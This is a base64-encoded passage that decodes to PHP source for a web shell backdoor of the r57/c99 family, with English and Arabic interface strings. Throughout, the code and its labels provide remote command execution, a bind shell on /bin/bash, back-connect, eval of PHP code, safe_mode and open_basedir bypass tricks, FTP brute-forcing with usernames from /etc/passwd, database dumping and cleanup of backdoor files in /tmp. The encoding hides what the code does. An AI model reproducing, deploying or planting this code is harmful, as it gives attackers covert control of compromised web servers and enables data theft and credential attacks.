SkpDQogew0KICAgQHVubGluayhfX0ZJTEVfXyk7DQogfQ0KaWYoaXNzZXQoJF9HRVRbJ3RtcCddKSkNCiB 7DQogICBAdW5saW5rKCIvdG1wL2JkcGwiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmFjayIpOw0KICAgQHVub GluaygiL3RtcC9iZCIpOw0KICAgQHVubGluaygiL3RtcC9iZC5jIik7DQogICBAdW5saW5rKCIvdG1wL2R wIik7DQogICBAdW5saW5rKCIvdG1wL2RwYyIpOw0KICAgQHVubGluaygiL3RtcC9kcGMuYyIpOw0KIH0NC mlmKGlzc2V0KCRfR0VUWydwaHBpbmknXSkpDQp7DQplY2hvICRoZWFkOw0KZnVuY3Rpb24gVV92YWx1ZSg kdmFsdWUpDQogew0KIGlmICgkdmFsdWUgPT0gJycpIHJldHVybiAnPGk+bm8gdmFsdWU8L2k+JzsNCiBpZ iAoQGlzX2Jvb2woJHZhbHVlKSkgcmV0dXJuICR2YWx1ZSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogaWYgKCR 2YWx1ZSA9PT0gbnVsbCkgcmV0dXJuICdOVUxMJzsNCiBpZiAoQGlzX29iamVjdCgkdmFsdWUpKSAkdmFsd WUgPSAoYXJyYXkpICR2YWx1ZTsNCiBpZiAoQGlzX2FycmF5KCR2YWx1ZSkpDQogew0KIEBvYl9zdGFydCg pOw0KIHByaW50X3IoJHZhbHVlKTsNCiAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogQG9iX2VuZ F9jbGVhbigpOw0KIH0NCiByZXR1cm4gVV93b3Jkd3JhcCgoc3RyaW5nKSAkdmFsdWUpOw0KIH0NCmZ1bmN 0aW9uIFVfd29yZHdyYXAoJHN0cikNCiB7DQogJHN0ciA9IEB3b3Jkd3JhcChAaHRtbHNwZWNpYWxjaGFyc ygkc3RyKSwgMTAwLCAnPHdiciAvPicsIHRydWUpOw0KIHJldHVybiBAcHJlZ19yZXBsYWNlKCchKCZbXjt dKik8d2JyIC8+KFteO10qOykhJywgJyQxJDI8d2JyIC8+JywgJHN0cik7DQogfQ0KaWYgKEBmdW5jdGlvb l9leGlzdHMoJ2luaV9nZXRfYWxsJykpDQogew0KICRyID0gJyc7DQogZWNobyAnPHRhYmxlIHdpZHRoPTE wMCU+JywgJzx0cj48dGQgYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb 3I9cmVkPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQ gYmdjb2xvcj0jMDAwMDAwPjxmb250IGZhY2U9dGFob21hIHNpemU9LTIgY29sb3I9cmVkPjxkaXYgYWxpZ 249Y2VudGVyPjxiPkxvY2FsIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSMwMDA wMDA+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGI+T WFzdGVyIFZhbHVlPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiBmb3JlYWNoIChAaW5pX2dldF9 hbGwoKSBhcyAka2V5PT4kdmFsdWUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZ mFjZT10YWhvbWEgc2l6ZT0tMj48Yj4nLiRrZXkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1 0YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92Y Wx1ZSddKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjx kaXYgYWxpZ249Y2VudGVyPjxiPicuVV92YWx1ZSgkdmFsdWVbJ2dsb2JhbF92YWx1ZSddKS4nPC9iPjwvZ Gl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgfQ0KIGVjaG8gJHI7DQogZWNobyAnPC90YWJsZT4nOw0KIH0 NCmVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPlsgP GEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+Ijs NCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZ
WNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBiZ2NvbG9yPSMwMDAwMDA+PGRpdiBhbGlnbj1jZW5 0ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+Q1BVPC9iPjwvZm9udD48L2Rpd j48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgd2lkdGg9MTAwJT4nOw0KICAgJGNwdWYgPSBAZmlsZS giY3B1aW5mbyIpOw0KICAgaWYoJGNwdWYpDQogICAgew0KICAgICAgJGMgPSBAc2l6ZW9mKCRjcHVmKTsN CiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IEBleH Bsb2RlKCI6IiwkY3B1ZlskaV0pOw0KICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSIt LS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT10YWhvbWEgc2 l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFo b21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2Pj wvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNl DQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udC BmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAg ICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbn QgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJB Q0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbW VtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRk IGJnY29sb3I9IzAwMDAwMD48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yIG NvbG9yPXJlZD48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3 aWR0aD0xMDAlPic7DQogICAkbWVtZiA9IEBmaWxlKCJtZW1pbmZvIik7DQogICBpZigkbWVtZikNCiAgIC B7DQogICAgICAkYyA9IHNpemVvZigkbWVtZik7DQogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQ0KICAg ICAgICB7DQogICAgICAgICAgJGluZm8gPSBleHBsb2RlKCI6IiwkbWVtZlskaV0pOw0KICAgICAgICAgIG lmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+ Jy53cygzKS4nPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC 9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+ Jy50cmltKCRpbmZvWzFdKS4nPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KIC AgICAgZWNobyAkcjsNCiAgICB9DQogICBlbHNlDQogICAgew0KICAgICAgZWNobyAnPHRyPjx0ZD4nLndz KDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPiAtLS0gPC9iPj wvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsNCiAgICB9DQogICBlY2hvICc8L3RhYmxlPic7DQogICBlY2hv ICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj5bIDxhIGhyZW Y9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBk aWUoKTsNCiB9DQokbGFuZz1hcnJheSgNCidlbmdfdGV4dDEnID0+J0V4ZWN1dGVkIGNvbW1hbmQnLA0KJ2 VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsDQonZW5nX3RleHQzJyA9PidSdW4g Y29tbWFuZCcsDQonZW5nX3RleHQ0JyA9PidXb3JrIGRpcmVjdG9yeScsDQonZW5nX3RleHQ1JyA9PidVcG xvYWQgZmlsZXMgb24gc2VydmVyJywNCidlbmdfdGV4dDYnID0+J0xvY2FsIGZpbGUnLA0KJ2VuZ190ZXh0 NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT 4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0 IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3 JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNv bm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dH Q0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2 ZXInLA0KJ2VuZ190ZXh0MTYnPT4nV2l0aCcsDQonZW5nX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQonZW 5nX3RleHQxOCc9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywNCidlbmdfdGV4 dDIwJz0+J1VzZScsDQonZW5nX3RleHQyMSc9PicmbmJzcDtOZXcgbmFtZScsDQonZW5nX3RleHQyMic9Pi dkYXRhcGlwZScsDQonZW5nX3RleHQyMyc9PidMb2NhbCBwb3J0JywNCidlbmdfdGV4dDI0Jz0+J1JlbW90 ZSBob3N0JywNCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywNCidlbmdfdGV4dDI2Jz0+J1VzZScsDQ onZW5nX2J1dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2Vu Z190ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZX h0MzAnPT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxl IG5vdCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1 Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+ J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW 5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBsb2FkIGZpbGUg aW4gbXlzcWwnLA0KJ2VuZ190ZXh0MzYnPT4nRGF0YWJhc2UgLiBUYWJsZScsDQonZW5nX3RleHQzNyc9Pi dMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidEYXRhYmFzZScs DQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDknID0+J0R1bXAnLA 0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxl cycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEwJz0+J1NhdmUnLA0KJ2 VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLA0KJ2VuZ190ZXh0
NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGluZm8oKScsDQonZW5nX3RleH Q0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190ZXh0NDgnPT4nRGVsZXRlIHRl bXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZS BzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsDQonZW5nX3Rl eHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsDQonZW5nX3 RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0ZpbmQgdGV4dCBpbiBmaWxlcycsDQonZW5n X2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NT YnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidl bmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTknPT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaX InLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0 ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldG VkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxldGVkJywNCidlbmdfYnV0dDY1Jz0+J0NyZWF0ZScsDQon ZW5nX3RleHQ2NSc9PidDcmVhdGUnLA0KJ2VuZ190ZXh0NjYnPT4nRGVsZXRlJywNCidlbmdfdGV4dDY3Jz 0+J0Nob3duL0NoZ3JwL0NobW9kJywNCidlbmdfdGV4dDY4Jz0+J0NvbW1hbmQnLA0KJ2VuZ190ZXh0Njkn PT4ncGFyYW0xJywNCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsDQonZW5nX3RleHQ3MSc9PiJTZWNvbmQgY2 9tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJc bi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li 4uIiwNCidlbmdfdGV4dDcyJz0+J1RleHQgZm9yIGZpbmQnLA0KJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBm b2xkZXInLA0KJ2VuZ190ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsDQonZW5nX3RleHQ3NSc9PicqIHlvdS BjYW4gdXNlIHJlZ2V4cCcsDQonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmlu ZCcsDQonZW5nX3RleHQ4MCc9PidUeXBlJywNCidlbmdfdGV4dDgxJz0+J05ldCcsDQonZW5nX3RleHQ4Mi c9PidEYXRhYmFzZXMnLA0KJ2VuZ190ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsDQonZW5nX3RleHQ4NCc9 PidTUUwgcXVlcnknLA0KJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbW FuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywNCidlbmdfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVz IGZyb20gc2VydmVyJywNCidlbmdfYnV0dDE0Jz0+J0Rvd25sb2FkJywNCidlbmdfdGV4dDg3Jz0+J0Rvd2 5sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLA0KJ2VuZ190ZXh0ODgnPT4nRlRQLXNlcnZl cjpwb3J0JywNCidlbmdfdGV4dDg5Jz0+J0ZpbGUgb24gZnRwJywNCidlbmdfdGV4dDkwJz0+J1RyYW5zZm VyIG1vZGUnLA0KJ2VuZ190ZXh0OTEnPT4nQXJjaGl2YXRpb24nLA0KJ2VuZ190ZXh0OTInPT4nd2l0aG91 dCBhcmNoaXZhdGlvbicsDQonZW5nX3RleHQ5Myc9PidGVFAnLA0KJ2VuZ190ZXh0OTQnPT4nRlRQLWJydX RlZm9yY2UnLA0KJ2VuZ190ZXh0OTUnPT4nVXNlcnMgbGlzdCcsDQonZW5nX3RleHQ5Nic9PidDYW5cJ3Qg Z2V0IHVzZXJzIGxpc3QnLA0KJ2VuZ190ZXh0OTcnPT4nY2hlY2tlZDogJywNCidlbmdfdGV4dDk4Jz0+J3 N1Y2Nlc3M6ICcsDQonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZv ciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywNCidlbmdfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3 RlIGZ0cCBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTAxJz0+J1VzZSByZXZlcnNlICh1c2VyIC0+IHJlc3UpIGxv Z2luIGZvciBwYXNzd29yZCcsDQonZW5nX3RleHQxMDInPT4nTWFpbCcsDQonZW5nX3RleHQxMDMnPT4nU2 VuZCBlbWFpbCcsDQonZW5nX3RleHQxMDQnPT4nU2VuZCBmaWxlIHRvIGVtYWlsJywNCidlbmdfdGV4dDEw NSc9PidUbycsDQonZW5nX3RleHQxMDYnPT4nRnJvbScsDQonZW5nX3RleHQxMDcnPT4nU3ViaicsDQonZW 5nX2J1dHQxNSc9PidTZW5kJywNCidlbmdfdGV4dDEwOCc9PidNYWlsJywNCidlbmdfdGV4dDEwOSc9PidI aWRlJywNCidlbmdfdGV4dDExMCc9PidTaG93JywNCidlbmdfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG 9ydCcsDQonZW5nX3RleHQxMTInPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggZnVuY3Rpb24gbWJf c2VuZF9tYWlsJywNCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIG xpc3QgdmlhIGltYXBfbGlzdCcsDQonZW5nX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2 aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywNCidlbmdfdGV4dDExNSc9PidUZXN0IGJ5cGFzcy BzYWZlX21vZGUsIGNvcHkgZmlsZSB2aWEgY29tcHJlc3MuemxpYjovLyBpbiBmdW5jdGlvbiBjb3B5KCkn LA0KJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsDQonZW5nX3RleHQxMTcnPT4ndG8nLA0KJ2VuZ190ZX h0MTE4Jz0+J0ZpbGUgY29waWVkJywNCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsDQonZW5n X2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlICcsDQonZW5nX2VycjEnPT4nRXJyb3IhIE NhblwndCByZWFkIGZpbGUgJywNCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLA0KJ2Vu Z19lcnIzJz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLA0KJ2VuZ19lcnI0Jz0+J0Vycm9yIS BDYW5cJ3QgbG9naW4gb24gZnRwIHNlcnZlcicsDQonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFu Z2UgZGlyIG9uIGZ0cCcsDQonZW5nX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLA0KJ2VuZ1 9lcnI3Jz0+J01haWwgc2VuZCcsDQonZW5nX3RleHQyMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGNvcHko KScsDQonZW5nX3RleHQyMDInPT4nd2hlcmUgZmlsZSBpbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MzAwJz0+J3 JlYWQgZmlsZSBmcm9tIHZ1bCBjdXJsKCknLA0KJ2VuZ190ZXh0MjAzJz0+J3JlYWQgZmlsZSBmcm9tIHZ1 bCBpbmlfcmVzdG9yZSgpJywNCidlbmdfdGV4dDIwNCc9Pid3cml0ZSBzaGVsbCBmcm9tIHZ1bCBlcnJvcl 9sb2coKScsDQonZW5nX3RleHQyMDUnPT4nd3JpdGUgc2hlbGwgaW4gdGhpcyBzaWRlJywNCidlbmdfdGV4 dDIwNic9PidyZWFkIGRpcicsDQonZW5nX3RleHQyMDcnPT4ncmVhZCBkaXIgZnJvbSB2dWwgcmVnX2dsb2 InLA0KJ2VuZ190ZXh0MjA4Jz0+J2V4ZWN1dGUgd2l0aCBmdW5jdGlvbicsDQonZW5nX3RleHQyMDknPT4n
cmVhZCBkaXIgZnJvbSB2dWwgcm9vdCcsDQonZW5nX3RleHQyMTAnPT4nRGVaZW5kZXIgJywNCidlbmdfdG V4dDIxMSc9Pic6OnNhZmVfbW9kZSBvZmY6OicsDQonZW5nX3RleHQyMTInPT4nY29sc2Ugc2FmZV9tb2Rl IHdpdGggcGhwLmluaScsDQonZW5nX3RleHQyMTMnPT4nY29sc2Ugc2VjdXJpdHlfbW9kIHdpdGggLmh0YW NjZXNzJywNCidlbmdfdGV4dDIxNCc9PidBZG1pbiBuYW1lJywNCidlbmdfdGV4dDIxNSc9PidJUkMgc2Vy dmVyICcsDQonZW5nX3RleHQyMTYnPT4nI3Jvb20gbmFtZScsDQonZW5nX3RleHQyMTcnPT4nc2VydmVyJy wNCidlbmdfdGV4dDIxOCc9Pid3cml0ZSBpbmkucGhwIGZpbGUgdG8gY2xvc2Ugc2FmZV9tb2RlIHdpdGgg aW5pX3Jlc3RvcmUgdnVsJywNCidlbmdfdGV4dDIxOSc9PidHZXQgZmlsZSB0byBzZXJ2ZXIgaW4gc2FmZV 9tb2RlIGFuZCBjaGFuZ2UgbmFtZScsDQonZW5nX3RleHQyMjAnPT4nc2hvdyBmaWxlIHdpdGggc3ltbGlu ayB2dWwnLA0KJ2VuZ190ZXh0MjIxJz0+J3ppcCBmaWxlIGluIHNlcnZlciB0byBkb3dubG9hZCcsD QonYXJfdGV4dDIyMic9PicyIHN5bWxpbmsgdXNlIHZ1bCcsDQonYXJfdGV4dDIyMyc9PidyZWFkIGZpbGU gZnJvbSBmdW5jdXRpb24nLA0KJ2FyX3RleHQyMjQnPT4ncmVhZCBmaWxlIGZyb20gUExVR0lOICcsDQoNC i8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0 tLS0tLSAqLw0KJ2FyX3RleHQxJyA9PifH4cfj0SDH4ePk3dAnLA0KJ2FyX3RleHQyJyA9PifK5N3t0CDH4 cfmx+PRIN3tIMfh0+3R3dEnLA0KJ2FyX3RleHQzJyA9PifH49Egx+HK1Nvt4ScsDQonYXJfdGV4dDQnID0 +J+Pfx+Qg2uPh3yDH4cfkINrh7CDH4dPt0d3RJywNCidhcl90ZXh0NScgPT4n0d3aIOPh3SDH4ewgx+HT7 dHd0ScsDQonYXJfdGV4dDYnID0+J+PTx9Eg4+Hd3ycsDQonYXJfdGV4dDcnID0+J8fmx+PRIMzH5dLlJyw NCidhcl90ZXh0OCcgPT4nx87K0SDH4cfj0ScsDQonYXJfYnV0dDEnID0+J8rk3e3QJywNCidhcl9idXR0M icgPT4n0d3c2icsDQonYXJfdGV4dDknID0+J93KzSDI5tHKIN3tIMfh0+3R3dEg2uHsIC9iaW4vYmFzaCc sDQonYXJfdGV4dDEwJz0+J8jc5tHKJywNCidhcl90ZXh0MTEnPT4nyMfT5tHPIOHhz87m4ScsDQonYXJfY nV0dDMnID0+J93KzScsDQonYXJfdGV4dDEyJz0+J8PK1dzH4SDa3N/T7ScsDQonYXJfdGV4dDEzJz0+J8f hx+0gyO0nLA0KJ2FyX3RleHQxNCc9PifH4ePk3dAnLA0KJ2FyX2J1dHQ0JyA9PifDytzVx+EnLA0KJ2FyX 3RleHQxNSc9PifTzcgg4+Hdx8ogx+HsIMfh0+3R3dEnLA0KJ2FyX3RleHQxNic9Pifa5CDY0e3eJywNCid hcl90ZXh0MTcnPT4n0cfI2CDH4ePh3ScsDQonYXJfdGV4dDE4Jz0+J+Pfx+Qg5NLm4eUnLA0KJ2FyX3Rle HQxOSc9PidFeHBsb2l0cycsDQonYXJfdGV4dDIwJz0+J8XTys7P4ycsDQonYXJfdGV4dDIxJz0+J8fhx9P jIMfhzM/tzycsDQonYXJfdGV4dDIyJz0+J8fkyObIIMfhyO3H5MfKJywNCidhcl90ZXh0MjMnPT4nx+HI5 tHKIMfh483h7ScsDQonYXJfdGV4dDI0Jz0+J8fh0+3R3dEgx+HI2u3PJywNCidhcl90ZXh0MjUnPT4nx+H j5N3QIMfhyNrtzycsDQonYXJfdGV4dDI2Jz0+J8fTys7P4ycsDQonYXJfYnV0dDUnID0+J8rU2+3hJywNC idhcl90ZXh0MjgnPT4nx+Ha4+Eg3e0gx+Hm1togx+HH4+QnLA0KJ2FyX3RleHQyOSc9Pifj4+Tm2iDH4c/ O5uEnLA0KJ2FyX2J1dHQ2JyA9PifK2+3RJywNCidhcl90ZXh0MzAnPT4n2tHWIOPh3ScsDQonYXJfYnV0d DcnID0+J9rR1icsDQonYXJfdGV4dDMxJz0+J8fh4+HdINvt0SDj5szmzycsDQonYXJfdGV4dDMyJz0+J8r k3e3QIN/mzyBwaHAg2uQg2NHt3iDPx+HlIGV2YWwnLA0KJ2FyX3RleHQzMyc9PidUZXN0IGJ5cGFzcyBvc GVuX2Jhc2VkaXIgd2l0aCBjVVJMIGZ1bmN0aW9ucycsDQonYXJfYnV0dDgnID0+J8fOysjH0ScsDQonYXJ fdGV4dDM0Jz0+J97Rx8blIMfh4+Hdx8og2uQg2NHt3iDL29HlIGluY2x1ZGUnLA0KJ2FyX3RleHQzNSc9P ife0cfG5SDH4ePh3cfKINrkINjR7d4gy9vR5SBNeXNxbCcsDQonYXJfdGV4dDM2Jz0+J8fh3sfaz8kgLiD H4czP5uEnLA0KJ2FyX3RleHQzNyc9PifH0+Mgx+Hj08rOz+MnLA0KJ2FyX3RleHQzOCc9Piff4ePJIMfh4 9Hm0ScsDQonYXJfdGV4dDM5Jz0+J8fh3sfaz8knLA0KJ2FyX3RleHQ0MCc9Pifk087JIOPkIMzPx+bhIMf h3sfaz8knLA0KJ2FyX2J1dHQ5JyA9Pifk087JJywNCidhcl90ZXh0NDEnPT4nzd3ZIMfh5NPOySDd7ScsD QonYXJfdGV4dDQyJz0+J8raz+3hIMfh4+Hdx8onLA0KJ2FyX3RleHQ0Myc9PifH4ePh3SDH4ePRx88gytr P7eHlJywNCidhcl9idXR0MTAnPT4nzd3ZJywNCidhcl90ZXh0NDQnPT4n4cfK08rY7dogx+HK2s/t4SDa4 ewg5dDHIMfh4+HdIN3e2CDK3tHDJywNCidhcl90ZXh0NDUnPT4nyuMgx+HN3dknLA0KJ2FyX3RleHQ0Nic 9Pifa0dYgcGhwaW5mbygpJywNCidhcl90ZXh0NDcnPT4n0cTtySDH4ePK2+3Rx8og3e0gcGhwLmluaScsD QonYXJfdGV4dDQ4Jz0+J+PTzSDj4d3HyiDH4dwgdGVtcCcsDQonYXJfYnV0dDExJz0+J8rN0e3RIMfh4+H dJywNCidhcl90ZXh0NDknPT4n49PNIMfh09/RyMog4+Qgx+HT7dHd0ScsDQonYXJfdGV4dDUwJz0+J9rR1 iDj2uHm48fKIMfh0Mff0ckgx+HRxu3T7cknLA0KJ2FyX3RleHQ1MSc9Pifa0dYg49rh5uPHyiDH4dDH39H 